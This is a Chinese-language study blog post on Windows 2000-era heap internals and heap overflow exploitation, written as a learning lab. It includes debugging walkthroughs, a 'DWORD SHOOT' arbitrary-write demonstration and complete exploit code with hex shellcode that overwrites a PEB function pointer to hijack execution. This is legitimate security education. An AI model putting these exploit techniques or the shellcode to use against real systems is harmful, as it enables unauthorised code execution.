0day安全 | Chapter 5 堆溢出利用

前言

“光荣在于平淡,艰巨在于漫长,学习安全技术的路并不好走,面对着‘杂乱无章’的‘堆’更是如此。本章是Windows缓冲区溢出基础知识的最后一站,也是难度最大的一站。如果您能坚持学完本章,那么迎接您的将是一条平坦大道。”(作者)

那么开始吧,不要心急,稳扎稳打。

Los geht's!

启程

Windows堆管理的知识是由众多技术狂热者、黑客、安全专家和逆向工程师不断研究总结出来的。其中有几位的事迹列在下面:

  • Halvar Flake: 2002 black hat "Third Generation Exploitation" 首次挑战堆溢出
  • David Litchfield: 2004 black hat "Windows Heap Overflows" 首次较全面介绍Win 2000堆溢出技术细节
  • Matt Conover: "XP SP2 Heap Exploitation"

微软操作系统堆管理机制发展大致分三个阶段:

  1. Windows 2000 ~ Windows XP SP1 堆管理系统没有丝毫考虑安全
  2. Windows XP2 ~ Windows 2003 加入安全因素,如修改块首格式并加入cookie,双向链表节点在删除时会做指针验证
  3. Windows Vista ~ Windows 7 是堆管理算法的里程碑

我们将学习最基础的堆管理策略。

堆的工作原理

目的:在“杂乱”的堆区中“辨别”哪些内存正被使用,哪些内存空闲,并最终“寻找”到一片”恰当“的空闲内存区域,以指针形式返回给程序。

数据结构:堆块和堆表。

程序员申请内存返回的指针指向的是块身,块首对程序员是透明的。堆表一般位于堆区的起始位置。

在Windows中,被占用的堆块被使用它的程序索引,堆表只索引所有空闲堆块。其中最重要的堆表有两种

  1. 空闲双向链表,Freelist(空表)
  2. 快速单向链表,Lookaside(快表)

空表

如图,空闲堆块的块首包含两个指针,用于组织双向链表。free[1]标识堆中所有8字节空闲堆块,之后到free[127]按8字节递增。free[0]中的是所有1024B < x < 512KB的空闲堆块,它们按大小升序排序。

快表

如图,快表的目的是加快堆分配。这类单向链表中不会发生堆块合并(其空闲块块首被设置为占用态,防止堆块合并)。其组织和空表类似,只不过是单向链表。快表总是被初始化为空,且每条快表最多只有4个结点。

堆操作分为三种:

1 堆块分配(程序提交申请并被执行)

分为三类:

  • 快表分配

其过程为寻找大小匹配的空闲堆块、将其状态修改为占用态、将其从堆表中卸下、返回一个指针给程序使用。

  • 普通空表分配

其过程为首先寻找最优空闲块分配,若无,则寻找次优空闲块,即最小的能够满足要求的。

  • free[0]分配。

先反向查找链中最大块是否满足要求,如果满足,则再正向查找最小的能够满足要求的空闲堆块分配(如果反向查找失败,那么需求过大,无法从free中分配)。

另外,如果没有找到最优块,将要分配一个稍大块时,堆管理系统会从这个大块中精确地切割出一块用于分配,而剩下的重新标注块首,链入空表(快表进行的是精确匹配,不适用此规则)。

这里没有讨论堆缓存(heap cache)、低碎片堆(LFH)和虚分配。

2 堆块释放(程序提交申请并被执行)

操作包括将堆块状态改为空闲,链入相应堆表。所有的释放块都链入堆表的末尾,分配时也先从堆表末尾拿(再次强调,快表最多只有4项)。

3 堆块合并(Coalesce,堆管理系统自动完成)

当堆系统发现两个空闲堆块彼此相邻的时候,就会进行堆块合并。即将两个块从空闲链表中卸下、合并、调整合并后的块首信息、将新块重新链入。

另外,还有一种操作叫内存紧缩(shrink the compact),由RtlCompactHeap执行,和磁盘碎片整理差不多,对整个堆进行调整。

具体的分配和释放

根据操作内存大小的不同,堆管理系统采取的策略也不同:

大小 分配 释放
Size < 1KB 先从快表尝试,失败则从普通空表尝试,失败则从堆缓存分配,失败则尝试free[0]分配,失败则进行内存紧缩后再次尝试分配,仍然失败则返回NULL 优先链入快表,若满则链入相应空表
1KB <= Size < 512KB 先从堆缓存尝试,失败则从free[0]尝试 优先放入堆缓存,若满则链入free[0]
Size >= 512KB 虚分配(堆溢出利用中几乎遇不到) 直接释放,无堆表操作

注意,快表每条链只有4项,容易被填满,所以空表也是被频繁使用的。

在堆中漫游

整体架构

Windows平台下堆管理架构如下图:

Windows提供了各种堆分配函数,其调用关系如下图:

RtlAllocateHeap是用户态能看到的最底层堆分配函数,所以我们只要研究RtlAllocateHeap即可。

堆的调试方法

需要用到Windows 2000的系统,然而那个系统一开始无法安装VMware Tools,参考这篇这篇文章。

调试代码如下:

#include <windows.h>

main()
{
	HLOCAL h1,h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	
	// free block and prevent coaleses
	HeapFree(hp,0,h1); //free to freelist[2] 
	HeapFree(hp,0,h3); //free to freelist[2] 
	HeapFree(hp,0,h5); //free to freelist[4]
	
	HeapFree(hp,0,h4); // coalese h3,h4,h5,link the large block to freelist[8]
	
	return 0;
}

环境介绍如下:

推荐环境 备注
OS Windows 2000虚拟机 分配策略对操作系统非常敏感
Compiler Visual C++ 6.0
Compiling Options 默认编译选项 VS2003/VS2005的GS选项将导致实验失败
build版本 release 如果使用debug版本,实验会失败

由于调试堆与调试栈与程序正常运行使用的不同,所以不能直接用调试器加载程序。调试态堆管理策略与正常的堆管理策略的差异如下:

  • 调试堆不使用快表,只用空表分配
  • 所有堆块都被加上了多余的16字节尾用来防止溢出(防止程序溢出而非堆溢出攻击),包括8个字节的0xAB和8个字节的0x00
  • 块首的标识位不同

我们的策略是,在代码中加入__asm int 3断点,当程序执行到此时会中断,然后我们再用调试器attach到进程上。为了方便,我们在Ollydbg的选项->实时调试设置中把Ollydbg设置成默认调试器:

这样一来,运行被调试程序后将会自动转入Ollydbg界面。

所有堆块分配函数都需要指明堆区的句柄,然后在堆区进行堆表的修改并完成分配。malloc使用HeapCreate为自己创建堆区。

一般来说,进程中会存在若干堆区。如下图,测试进程包含一个始于0x00130000大小为0x6000的进程堆(第一个红框),我们可以通过GetProcessHeap()获得这个堆的句柄;另外还有malloc创建的堆(第二个红框);第三个红框中的则是我们代码中创建的堆。

识别堆表

在程序的初始化过程中,malloc使用的堆和进程堆都经过了若干次分配和释放操作,里边的堆块比较凌乱,不适合新手解析,所以我们在代码中新创建了一个堆用来分析。

如下图,HeapCreate返回的堆区起始地址在EAX中:

我们在数据窗口中跟随过去,从0x00360000开始,依次是段表索引、虚表索引、空表使用标识和空表索引区。当一个堆刚被初始化时,它的堆块状况非常简单:

  • 只有一个空闲态的大块,即freelist[0]指向的尾块
  • 这个尾块位于堆偏移0x0688处(如果启用快表,那么这个位置将是快表),所以它的绝对地址就是0x00360688
  • freelist[0]外,其余各项索引都指向自己

如下图,第一个红框内是freelist[0]的指针对,它们均指向尾块。后面跟着的红框中则是freelist[1] ~ freelist[127](没有列完),可以发现它们确实都指向自己。

我们来了解一下堆块块首的结构,以尾块为例。根据freelist[0]的指针找到尾块,然后向前找8个字节,即为尾块的块首(实际上这个堆块开始于前8个字节,但是一般引用堆块的指针都会越过这8个字节直接指向数据区):

可以发现,尾块的两个指针也指向freelist[0]

注意,上面的各种size的单位均是堆单位,这里是8字节,堆块大小包含块首。所以在计算大小时要乘8。另外,占用态的堆块只是把F-link/B-link部分作为数据区使用。

块首的Flag对应的值如下:

Value Meaning Value Meaning
0x01 Busy 0x02 Extra present
0x04 Fill pattern 0x08 Virtual Alloc
0x10 Last entry 0x20 FFU1
0x40 FFU2 0x80 No coalesce

我们的调试环境中没有快表。如果要启用快表,那么最开始创建堆时必须创建可扩展堆:

hp = HeapCreate(0, 0, 0);

堆块的分配

堆块的分配细节如下:

  • 堆块大小包含块首,故,如果申请32字节,那么实际被认为申请的是40字节
  • 堆块的单位是8字节,不足8字节将按8字节分配
  • 初始状态下,快表和空表为空,不存在精确分配。所以将使用次优块分配,即尾块
  • 由于次优分配,尾块会被陆续切走一些小块,它的块首中的size信息会改变,并且freelist[0]会指向新的尾块位置

在我的环境下,无法对attach后的进程进行单步,最终会进入如下流程:

同时Ollydbg会在左下角提示,进程已终止,退出代码80。

原因暂未探明(unsolved)。我变通了一下,通过每次把__asm int 3加在不同的位置再编译运行,也算是变相的单步调试吧。

代码的分配申请实际如下:

堆句柄 请求字节数 实际分配(堆单位) 实际分配(字节)
h1 3 2 16
h2 5 2 16
h3 6 2 16
h4 8 2 16
h5 19 4 32
h6 24 4 32

在进行了6次HeapAlloc后,可以发现freelistp[0]指向的尾块地址已经发生了变化:

可以对比一下之前的位置:

我们在数据窗口中跟随到这个新地址,看一下尾块的块首信息:

可以发现,如今的尾块长度为0x0120个堆单位。一开始时为0x0130个堆单位,差值为16个堆单位,这恰恰是前六次分配出去的内存之和。

根据最后一次调用HeapAllocEAX中返回的指针,我们可以找到最后一次分配的内存位置:

然后再往前搜索,可以发现前5次的分配。在下图中,我们用前6个红框标出了6次分配所得堆块的块首:

这与我们前面的表格中给出的数据一致。同时可以看到,第7个红框标出的正是新的尾块的块首,即尾块不断向后移动。

堆块的释放

我们把断点改到前三次释放操作之后:

	HeapFree(hp,0,h1); //free to freelist[2] 
	HeapFree(hp,0,h3); //free to freelist[2] 
	HeapFree(hp,0,h5); //free to freelist[4]
	__asm int 3

再次观察,发现前两次释放的堆块被链入freelist[2],第三次释放的被链入freelist[4],分别如下面的图一图二所示(蓝红色箭头分别代表双向链表的前后指针):

图一:

图二:

由于这三次释放的堆块在内存中不连续,所以不会发生合并。到目前为止,有三个空闲链表上有空闲块,分别是freelist[0]/[2]/[4]

堆块的合并

此时我们把断点放在第四次释放操作之后:

	HeapFree(hp,0,h4);
	__asm int 3

由于h3/h4/h5彼此相邻,所以会发生堆块合并。它们合并后是8个堆单位,所以将被链入freelist[8](这个堆单位刚好对应着数组索引,很方便):

另外可以发现,合并只是修改了块首的数据,原来的小块的块身基本没有发生变化。此时还是有三个空闲链表上有空闲块,分别是freelist[0]/[2]/[8]

由于合并较为费时,所以快表中一般会通过设置堆块为占用态来禁止合并。另外,空表中的第一个块不会向前合并,最后一个块不会向后合并。

快表的使用

我们把代码稍微修改一下:

#include <windows.h>

main()
{
	HLOCAL h1,h2,h3,h4;
	HANDLE hp;
	hp = HeapCreate(0, 0, 0);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

	HeapFree(hp,0,h1);
	HeapFree(hp,0,h2);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h4); 

	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	HeapFree(hp, 0, h2);
	return 0;
}

可以发现,freelist[0]中的尾块的位置不在0x00360688了,那个位置被快表占据。

我们看一下0x00360688处的快表,目前为空:

接下来我们把断点放在第四次释放之后。我们释放的空间依次是(包含块首)16/16/24/32,由于快表此时未满,所以它们被插入快表中,分别插在lookaside[1]/[2]/[3]中。其单向链表结构如下:

注意,链在快表中的堆块块首的Flag值为0x01,即Busy

我们再把断点下在后面的h2的重新申请之后,此时由于h2的申请,lookaside[2]会再次变为空,如下:

堆溢出利用(上)DWORD SHOOT

在本节中,我们必须要使用单步调试,不能再使用之前改变INT3位置然后重新编译的方法了。但是我依然不知道为何进入Ollydbg后无法调试。网上有人说可以让Ollydbg忽视INT3中断,如下图:

但是在我这里不管用。目前,我有一个简单有效的解决方法:

在运行程序并进入Ollydbg后,先按空格键把INT3指令改为nop,然后稍微等一会儿再按F8F7单步就可以了。

解决了这个问题后,我们来看堆溢出利用。

链表“拆卸”中的问题

堆管理的操作的本质是对链表的修改。根据数据结构的知识我们可以想到,双向链表拆卸一个节点的代码应该类似于下面的:

int remove(ListNode *node)
{
    node->blink->flink = node->flink;
    node->flink->blink = node->blink;
}

上面在实际环境下对应的汇编代码如下:

那么,如果我们能够用特殊的数据去溢出下一个堆块的块首,修改其前后指针。那么一旦它被从某个链表中“卸下”,就会发生一次向内存任意地址写入任意数据(指针长度个字节)的机会。这被称为“DWORD SHOOT”,别的文献中可能称作“arbitrary DWORD reset”。我们可以借助这个机会完成进程劫持。常见的攻击逻辑流如下:

Target Payload Effect
栈帧中的函数返回地址 shellcode起始地址 函数返回时,执行shellcode
栈帧中的SEH句柄 shellcode起始地址 异常发生时,执行shellcode
重要函数调用地址 shellcode起始地址 函数调用时,执行shellcode

具体来说,就是前向指针作为Payload,后向指针作为Target。然后由

    node->blink->flink = node->flink;

这行代码完成写入。

下面是我的个人思考:为什么不反过来,把前向指针作为Target,后向指针作为Payload,然后由第二行的代码完成写入呢?这是由于在堆块结构中,前向指针在前,后向指针在后。同时,一般的内存申请返回的指针地址会越过块首的8个字节,直接指向前向指针的位置。在汇编中,“结构体”中的各个成员起始就是相对于结构体首地址的不同偏移。所以node->blink->flink相当于在node->blink对应的地址偏移为0的地方,故我们可以直接把这个地方覆盖为我们希望被写入数据的位置。如果是node->flink->blink这种情况,由于blink作为结构体成员其偏移不为0,所以在覆盖的时候我们反而需要把其覆盖为希望被写入位置的前几个字节(与blink的偏移大小对应)处。

通过调试来理解“DWORD SHOOT”

我们要调试的代码如下:

#include <windows.h>

main()
{

	HLOCAL h1, h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	_asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	// free the odd blocks to prevent coalesing
	HeapFree(hp,0,h1); 
	HeapFree(hp,0,h3); 
	HeapFree(hp,0,h5); // now freelist[2] got 3 entries
	
	// will allocate from freelist[2] which means unlink the last entry (h5)
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 
		
	return 0;
}

编译和调试环境在前面描述过。

可以看到,申请六次空间,然后释放三次,把奇数次申请的空间释放掉。这样避免了堆块合并。此时freelist[2]中应该链入了三个空闲堆块h1/h3/h5。在此之后,倒数第二行代码再次申请空间,会导致freelist[2]的最后一个堆块(即之前的h5)被卸下。如果我们在调用申请函数的汇编指令之前把h5的前后指针按照前面所描述的方式修改掉,就会出现“DWORD SHOOT”。

下图是已经执行完六次申请、三次释放后,即将执行最后一次申请前的调试状态。左下方0x003606C8正是h5的前后指针。同时我们可以在右上方看到此时EBP的值为0x0012FF80

为了验证我们的前面讲述的效果,我们当前的目标是:向EBP所指的栈帧位置写入0x44444444。我们选中内存区域中0x003606C8对应的部分,按空格,如下图修改:

然后按F8单步,发现程序崩溃:

此时查看之前要写入的栈帧位置0x0012FF80,发现我们成功地把0x44444444写入:

事实上,堆块的分配、释放、合并都能引发“DWORD SHOOT”,快表也可以被如此利用。

堆溢出利用(下)代码植入

本节我们进行堆溢出并执行代码的实验。

由于堆溢出的特殊利用方式,我们需要寻找一些可以被覆盖的地址。Windows XP SP1之前版本的常用目标列举如下:

  • 内存变量
  • 代码逻辑点:比如把后面的分支判断逻辑替换成nop
  • 函数返回地址:但是由于栈上函数返回地址往往不固定,所以这个不是很好用
  • 异常处理机制:堆溢出很容易引起异常,所以相关的SEH、FVEH、PEB中的UEF、TEB中存放的第一个SEH指针(TEH)都是很好的攻击点(第六章详述)
  • 函数指针:系统有时会使用一些函数指针,比如调用动态链接库中的函数、C++中的虚函数调用等
  • PEB中线程同步函数的入口地址:每个进程的PEB中都存放着一对同步函数指针,指向RtlEnterCriticalSection()RtlLeaveCriticalSection(),并且在进程退出时会被ExitProcess()调用。如果能修改这两个指针中的一个,那么程序退出时就会调用我们的shellcode,这使得利用堆溢出开发适用于不同操作系统和补丁版本的exploit成为可能

后面我们基于刚刚提到的最后一种方案进行实验。

狙击PEB中的RtlEnterCriticalSection()的函数指针

RtlEnterCriticalSection()RtlLeaveCriticalSection()的作用是同步线程,防止“脏数据”产生。ExitProcess()通过调用PEB偏移0x20处的函数指针来完成临界区函数的调用。具体来说,就是0x7FFDF0200x7FFDF024分别存放着指向RtlEnterCriticalSection()RtlLeaveCriticalSection()的指针。但是从Windows 2003 Server开始,微软已经修改了这里的实现。

后面,我们以0x7FFDF020为目标。

首先是一个正常的代码:

#include <windows.h>

char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3 //used to break the process
	memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	//memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}

memcpy后,我们观察0x00360688处开始的数据:

可以发现在200个0x90后正好是尾块块首的开始。所以一旦shellcode超过200字节,就将覆盖尾块块首。那么当h2再次申请空间时,就会导致DWORD SHOOT。

后面我们的做法是:

  • 把前200个字节用真正的弹窗shellcode填充
  • 把尾块的前指针覆盖为0x00360688,即shellcode开始的地方
  • 把尾块的后指针覆盖为0x7FFDF020

我们期待在做完以上的工作后,编译运行的程序可以弹窗。

首先是第三章用过的通用shellcode,它的大小是168个字节,我们要用0x90填充至200个字节。同时,由于shellcode中的函数也要使用到被我们后面修改的PEB中的函数指针,所以我们在shellcode的开头需要修复一下函数指针。具体的汇编指令如下:

mov eax, 7ffdf020
mov ebx, 77f82060
mov [eax], ebx

其中0x77f82060是我们在动态调试的时候从Ollydbg中看到的0x7ffdf020处的函数地址,这个值可能随操作系统和补丁版本的变化而变化。

另外,为了防止在DWORD SHOOT之前发生异常,我们要把尾块的块首8个字节从Ollydbg中原封不动复制出来到shellcode相应的位置。这8个字节是

\x16\x01\x1A\x00\x00\x10\x00\x00

最终shellcode的组成如下:

调试的过程中遇到一个坑,记录一下:

在完成整个shellcode的组装后,我编译运行总是直接报错,但是看shellcode和作者的shellcode没发现不一样的地方。最后只好写了一个程序去逐字节找不同。终于发现我的shellcode中有部分\x被我打成了\X,而\X在C语言中并不是十六进制的前缀!!!

找这个Bug找了我好久!

修改过后,代码如下(去掉了INT3断点):

#include <windows.h>

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xB8\x20\xF0\xFD\x7F"
"\xBB\x60\x20\xF8\x77"
"\x89\x18"
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";

main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//__asm int 3 //used to break the process
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}

最后程序可以正常溢出:

堆溢出利用的注意事项

调试堆与常态堆

注意调试态的堆和常态堆有很大差别,所以最好给程序设断点,然后要先运行程序再attach。另一种方法是直接修改用于检测调试器函数的返回值,这种技术在第六章介绍。

环境修复

注意在shellcode中要修复环境。除了上面提到的修复PEB函数指针,有时还要修复堆区。比较通用的方法是:

  1. 在堆区偏移0x28处存放着堆区所有空闲块的总和TotalFreeSize
  2. 找到一个较大块,把它的块首中表示自身大小的两个字节修改成1中提到的总大小
  3. 把这个块的Flag设置为0x10,即尾块
  4. freelist[0]前后向指针指向这个块

这样一来,堆看起来好像刚刚初始化完。

跳板

有时堆的地址不固定,所以shellcode的地址不能直接使用。我们在第三章介绍了定位栈中shellcode的思路,其实也经常会有寄存器指向堆区shellcode不远的地方。David Litchfield在Blackhat中指出在利用UEF时可以使用几种指令作为跳板定位,这些指令在netapi32.dll/user32.dll/rpcrt4.dll中搜到不少,举例如下:

call dword ptr [edi + 0x78]
call dword ptr [esi + 0x4c]
call dword ptr [ebp + 0x74]

DWORD SHOOT后的”指针反射“现象

这指的是我们之前提到的

    node->flink->blink = node->blink;

一般来说在这行代码前就会发生异常,所以这行代码不影响shellcode的执行。但如果没有,那么这行代码将导致shellcode偏移4个字节处被写入目标地址(即写入操作被反过来了)。一般情况下,目标地址变成的汇编指令无关痛痒,但如果有时会影响到shellcode的执行时,就需要换别的思路了。

总结

可以参考阅读《0day安全:软件漏洞分析技术》第三方资料

堆溢出和栈溢出还是有一些区别的,总之也是很有意思。

在研究完Linux堆溢出后可以与Windows做对比。

Per Aspera Ad Astra